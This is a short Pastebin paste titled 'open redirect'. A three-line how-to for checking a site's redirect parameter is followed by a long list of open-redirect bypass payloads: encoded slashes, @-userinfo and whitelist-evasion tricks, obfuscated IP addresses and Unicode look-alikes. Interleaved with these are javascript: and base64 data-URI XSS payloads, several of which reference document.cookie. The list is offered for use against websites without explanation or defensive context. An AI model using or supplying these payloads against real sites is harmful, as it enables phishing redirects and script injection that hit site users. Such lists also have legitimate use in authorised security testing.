Guest User

open redirect

a guest
Mar 13th, 2018
1,512
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.25 KB | None | 0 0
  1. so just need to put this link ?redir=https://facebook.com
  2. then login
  3. if the site redirects it is open to redirect
  4.  
  5. //;@google.com
  6. ../..@google.com
  7. site.com/youtube.com/%2F..
  8.  
  9. site.com/202.90.156.93/%2F..
  10. <>//google.com
  11.  
  12. @google.com
  13. https://cooking.lady.mail.ru/%09/blackfan.ru
  14. https://cooking.lady.mail.ru/%5cblackfan.ru
  15. site.com///www.google.com/%2f%2e%2e
  16. //google.com/%2f..
  17. //www.whitelisteddomain.tld@google.com/%2f..
  18. ///google.com/%2f..
  19. ///www.whitelisteddomain.tld@google.com/%2f..
  20. ////google.com/%2f..
  21. ////www.whitelisteddomain.tld@google.com/%2f..
  22. https://google.com/%2f..
  23. https://www.whitelisteddomain.tld@google.com/%2f..
  24. /https://google.com/%2f..
  25. /https://www.whitelisteddomain.tld@google.com/%2f..
  26. //google.com/%2f%2e%2e
  27. //www.whitelisteddomain.tld@google.com/%2f%2e%2e
  28. ///google.com/%2f%2e%2e
  29. ///www.whitelisteddomain.tld@google.com/%2f%2e%2e
  30. ////google.com/%2f%2e%2e
  31. ////www.whitelisteddomain.tld@google.com/%2f%2e%2e
  32. https://google.com/%2f%2e%2e
  33. https://www.whitelisteddomain.tld@google.com/%2f%2e%2e
  34. /https://google.com/%2f%2e%2e
  35. /https://www.whitelisteddomain.tld@google.com/%2f%2e%2e
  36. //google.com/
  37. //www.whitelisteddomain.tld@google.com/
  38. ///google.com/
  39. ///www.whitelisteddomain.tld@google.com/
  40. ////google.com/
  41. ////www.whitelisteddomain.tld@google.com/
  42. https://google.com/
  43. https://www.whitelisteddomain.tld@google.com/
  44. /https://google.com/
  45. /https://www.whitelisteddomain.tld@google.com/
  46. //google.com//
  47. //www.whitelisteddomain.tld@google.com//
  48. ///google.com//
  49. ///www.whitelisteddomain.tld@google.com//
  50. ////google.com//
  51. ////www.whitelisteddomain.tld@google.com//
  52. https://google.com//
  53. https://www.whitelisteddomain.tld@google.com//
  54. //https://google.com//
  55. //https://www.whitelisteddomain.tld@google.com//
  56. //google.com/%2e%2e%2f
  57. //www.whitelisteddomain.tld@google.com/%2e%2e%2f
  58. ///google.com/%2e%2e%2f
  59. ///www.whitelisteddomain.tld@google.com/%2e%2e%2f
  60. ////google.com/%2e%2e%2f
  61. ////www.whitelisteddomain.tld@google.com/%2e%2e%2f
  62. https://google.com/%2e%2e%2f
  63. https://www.whitelisteddomain.tld@google.com/%2e%2e%2f
  64. //https://google.com/%2e%2e%2f
  65. //https://www.whitelisteddomain.tld@google.com/%2e%2e%2f
  66. ///google.com/%2e%2e
  67. ///www.whitelisteddomain.tld@google.com/%2e%2e
  68. ////google.com/%2e%2e
  69. ////www.whitelisteddomain.tld@google.com/%2e%2e
  70. https:///google.com/%2e%2e
  71. https:///www.whitelisteddomain.tld@google.com/%2e%2e
  72. //https:///google.com/%2e%2e
  73. //www.whitelisteddomain.tld@https:///google.com/%2e%2e
  74. /https://google.com/%2e%2e
  75. /https://www.whitelisteddomain.tld@google.com/%2e%2e
  76. ///google.com/%2f%2e%2e
  77. ///www.whitelisteddomain.tld@google.com/%2f%2e%2e
  78. ////google.com/%2f%2e%2e
  79. ////www.whitelisteddomain.tld@google.com/%2f%2e%2e
  80. https:///google.com/%2f%2e%2e
  81. https:///www.whitelisteddomain.tld@google.com/%2f%2e%2e
  82. /https://google.com/%2f%2e%2e
  83. /https://www.whitelisteddomain.tld@google.com/%2f%2e%2e
  84. /https:///google.com/%2f%2e%2e
  85. /https:///www.whitelisteddomain.tld@google.com/%2f%2e%2e
  86. /%09/google.com
  87. /%09/www.whitelisteddomain.tld@google.com
  88. //%09/google.com
  89. //%09/www.whitelisteddomain.tld@google.com
  90. ///%09/google.com
  91. ///%09/www.whitelisteddomain.tld@google.com
  92. ////%09/google.com
  93. ////%09/www.whitelisteddomain.tld@google.com
  94. https://%09/google.com
  95. https://%09/www.whitelisteddomain.tld@google.com
  96. /%5cgoogle.com
  97. /%5cwww.whitelisteddomain.tld@google.com
  98. //%5cgoogle.com
  99. //%5cwww.whitelisteddomain.tld@google.com
  100. ///%5cgoogle.com
  101. ///%5cwww.whitelisteddomain.tld@google.com
  102. ////%5cgoogle.com
  103. ////%5cwww.whitelisteddomain.tld@google.com
  104. https://%5cgoogle.com
  105. https://%5cwww.whitelisteddomain.tld@google.com
  106. /https://%5cgoogle.com
  107. /https://%5cwww.whitelisteddomain.tld@google.com
  108. https://google.com
  109. https://www.whitelisteddomain.tld@google.com
  110. javascript:alert(1);
  111. javascript:alert(1)
  112. //javascript:alert(1);
  113. /javascript:alert(1);
  114. //javascript:alert(1)
  115. /javascript:alert(1)
  116. /%5cjavascript:alert(1);
  117. /%5cjavascript:alert(1)
  118. //%5cjavascript:alert(1);
  119. //%5cjavascript:alert(1)
  120. /%09/javascript:alert(1);
  121. /%09/javascript:alert(1)
  122. java%0d%0ascript%0d%0a:alert(0)
  123. //google.com
  124. https:google.com
  125. //google%E3%80%82com
  126. \/\/google.com/
  127. /\/google.com/
  128. /%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/
  129. //google%00.com
  130. https://www.whitelisteddomain.tld/https://google.com/
  131. ";alert(0);//
  132. javascript://www.whitelisteddomain.tld?%a0alert%281%29
  133. http://0xd8.0x3a.0xd6.0xce
  134. http://www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
  135. http://3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
  136. http://XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
  137. http://0xd83ad6ce
  138. http://www.whitelisteddomain.tld@0xd83ad6ce
  139. http://3H6k7lIAiqjfNeN@0xd83ad6ce
  140. http://XY>.7d8T\205pZM@0xd83ad6ce
  141. http://3627734734
  142. http://www.whitelisteddomain.tld@3627734734
  143. http://3H6k7lIAiqjfNeN@3627734734
  144. http://XY>.7d8T\205pZM@3627734734
  145. http://472.314.470.462
  146. http://www.whitelisteddomain.tld@472.314.470.462
  147. http://3H6k7lIAiqjfNeN@472.314.470.462
  148. http://XY>.7d8T\205pZM@472.314.470.462
  149. http://0330.072.0326.0316
  150. http://www.whitelisteddomain.tld@0330.072.0326.0316
  151. http://3H6k7lIAiqjfNeN@0330.072.0326.0316
  152. http://XY>.7d8T\205pZM@0330.072.0326.0316
  153. http://00330.00072.0000326.00000316
  154. http://www.whitelisteddomain.tld@00330.00072.0000326.00000316
  155. http://3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
  156. http://XY>.7d8T\205pZM@00330.00072.0000326.00000316
  157. http://[::216.58.214.206]
  158. http://www.whitelisteddomain.tld@[::216.58.214.206]
  159. http://3H6k7lIAiqjfNeN@[::216.58.214.206]
  160. http://XY>.7d8T\205pZM@[::216.58.214.206]
  161. http://[::ffff:216.58.214.206]
  162. http://www.whitelisteddomain.tld@[::ffff:216.58.214.206]
  163. http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
  164. http://XY>.7d8T\205pZM@[::ffff:216.58.214.206]
  165. http://0xd8.072.54990
  166. http://www.whitelisteddomain.tld@0xd8.072.54990
  167. http://3H6k7lIAiqjfNeN@0xd8.072.54990
  168. http://XY>.7d8T\205pZM@0xd8.072.54990
  169. http://0xd8.3856078
  170. http://www.whitelisteddomain.tld@0xd8.3856078
  171. http://3H6k7lIAiqjfNeN@0xd8.3856078
  172. http://XY>.7d8T\205pZM@0xd8.3856078
  173. http://00330.3856078
  174. http://www.whitelisteddomain.tld@00330.3856078
  175. http://3H6k7lIAiqjfNeN@00330.3856078
  176. http://XY>.7d8T\205pZM@00330.3856078
  177. http://00330.0x3a.54990
  178. http://www.whitelisteddomain.tld@00330.0x3a.54990
  179. http://3H6k7lIAiqjfNeN@00330.0x3a.54990
  180. http://XY>.7d8T\205pZM@00330.0x3a.54990
  181. http:0xd8.0x3a.0xd6.0xce
  182. http:www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
  183. http:3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
  184. http:XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
  185. http:0xd83ad6ce
  186. http:www.whitelisteddomain.tld@0xd83ad6ce
  187. http:3H6k7lIAiqjfNeN@0xd83ad6ce
  188. http:XY>.7d8T\205pZM@0xd83ad6ce
  189. http:3627734734
  190. http:www.whitelisteddomain.tld@3627734734
  191. http:3H6k7lIAiqjfNeN@3627734734
  192. http:XY>.7d8T\205pZM@3627734734
  193. http:472.314.470.462
  194. http:www.whitelisteddomain.tld@472.314.470.462
  195. http:3H6k7lIAiqjfNeN@472.314.470.462
  196. http:XY>.7d8T\205pZM@472.314.470.462
  197. http:0330.072.0326.0316
  198. http:www.whitelisteddomain.tld@0330.072.0326.0316
  199. http:3H6k7lIAiqjfNeN@0330.072.0326.0316
  200. http:XY>.7d8T\205pZM@0330.072.0326.0316
  201. http:00330.00072.0000326.00000316
  202. http:www.whitelisteddomain.tld@00330.00072.0000326.00000316
  203. http:3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
  204. http:XY>.7d8T\205pZM@00330.00072.0000326.00000316
  205. http:[::216.58.214.206]
  206. http:www.whitelisteddomain.tld@[::216.58.214.206]
  207. http:3H6k7lIAiqjfNeN@[::216.58.214.206]
  208. http:XY>.7d8T\205pZM@[::216.58.214.206]
  209. http:[::ffff:216.58.214.206]
  210. http:www.whitelisteddomain.tld@[::ffff:216.58.214.206]
  211. http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
  212. http:XY>.7d8T\205pZM@[::ffff:216.58.214.206]
  213. http:0xd8.072.54990
  214. http:www.whitelisteddomain.tld@0xd8.072.54990
  215. http:3H6k7lIAiqjfNeN@0xd8.072.54990
  216. http:XY>.7d8T\205pZM@0xd8.072.54990
  217. http:0xd8.3856078
  218. http:www.whitelisteddomain.tld@0xd8.3856078
  219. http:3H6k7lIAiqjfNeN@0xd8.3856078
  220. http:XY>.7d8T\205pZM@0xd8.3856078
  221. http:00330.3856078
  222. http:www.whitelisteddomain.tld@00330.3856078
  223. http:3H6k7lIAiqjfNeN@00330.3856078
  224. http:XY>.7d8T\205pZM@00330.3856078
  225. http:00330.0x3a.54990
  226. http:www.whitelisteddomain.tld@00330.0x3a.54990
  227. http:3H6k7lIAiqjfNeN@00330.0x3a.54990
  228. http:XY>.7d8T\205pZM@00330.0x3a.54990
  229. 〱google.com
  230. 〵google.com
  231. ゝgoogle.com
  232. ーgoogle.com
  233. ーgoogle.com
  234. /〱google.com
  235. /〵google.com
  236. /ゝgoogle.com
  237. /ーgoogle.com
  238. /ーgoogle.com
  239. %68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d
  240. http://%67%6f%6f%67%6c%65%2e%63%6f%6d
  241. <>javascript:alert(1);
  242. <>//google.com
  243. //google.com\@www.whitelisteddomain.tld
  244. https://:@google.com\@www.whitelisteddomain.tld
  245. \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
  246. \u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
  247. ja\nva\tscript\r:alert(1)
  248. \j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
  249. \152\141\166\141\163\143\162\151\160\164\072alert(1)
  250. http://google.com:80#@www.whitelisteddomain.tld/
  251. http://google.com:80?@www.whitelisteddomain.tld/
  252. http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@google.com/
  253. http://XY>.7d8T\205pZM@www.whitelisteddomain.tld+@google.com/
  254. http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@google.com/
  255. http://XY>.7d8T\205pZM@www.whitelisteddomain.tld@google.com/
  256. http://www.whitelisteddomain.tld+&@google.com#+@www.whitelisteddomain.tld/
  257. http://google.com\twww.whitelisteddomain.tld/
  258. //google.com:80#@www.whitelisteddomain.tld/
  259. //google.com:80?@www.whitelisteddomain.tld/
  260. //3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@google.com/
  261. //XY>.7d8T\205pZM@www.whitelisteddomain.tld+@google.com/
  262. //3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@google.com/
  263. //XY>.7d8T\205pZM@www.whitelisteddomain.tld@google.com/
  264. //www.whitelisteddomain.tld+&@google.com#+@www.whitelisteddomain.tld/
  265. //google.com\twww.whitelisteddomain.tld/
  266. //;@google.com
  267. http://;@google.com
  268. @google.com
  269. javascript://https://www.whitelisteddomain.tld/?z=%0Aalert(1)
  270. data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
  271. http://google.com%2f%2f.www.whitelisteddomain.tld/
  272. http://google.com%5c%5c.www.whitelisteddomain.tld/
  273. http://google.com%3F.www.whitelisteddomain.tld/
  274. http://google.com%23.www.whitelisteddomain.tld/
  275. http://www.whitelisteddomain.tld:80%40google.com/
  276. http://www.whitelisteddomain.tld%2egoogle.com/
  277. /x:1/:///%01javascript:alert(document.cookie)/
  278. /https:/%5cgoogle.com/
  279. javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
  280. /http://google.com
  281. /%2f%2fgoogle.com
  282. /google.com/%2f%2e%2e
  283. /http:/google.com
  284. /.google.com
  285. ///\;@google.com
  286. ///google.com
  287. /////google.com/
  288. /////google.com
  289. java%0ascript:alert(1)
  290. java%09script:alert(1)
  291. java%0dscript:alert(1)
  292. javascript://%0aalert(1)
Add Comment
Please, Sign In to add comment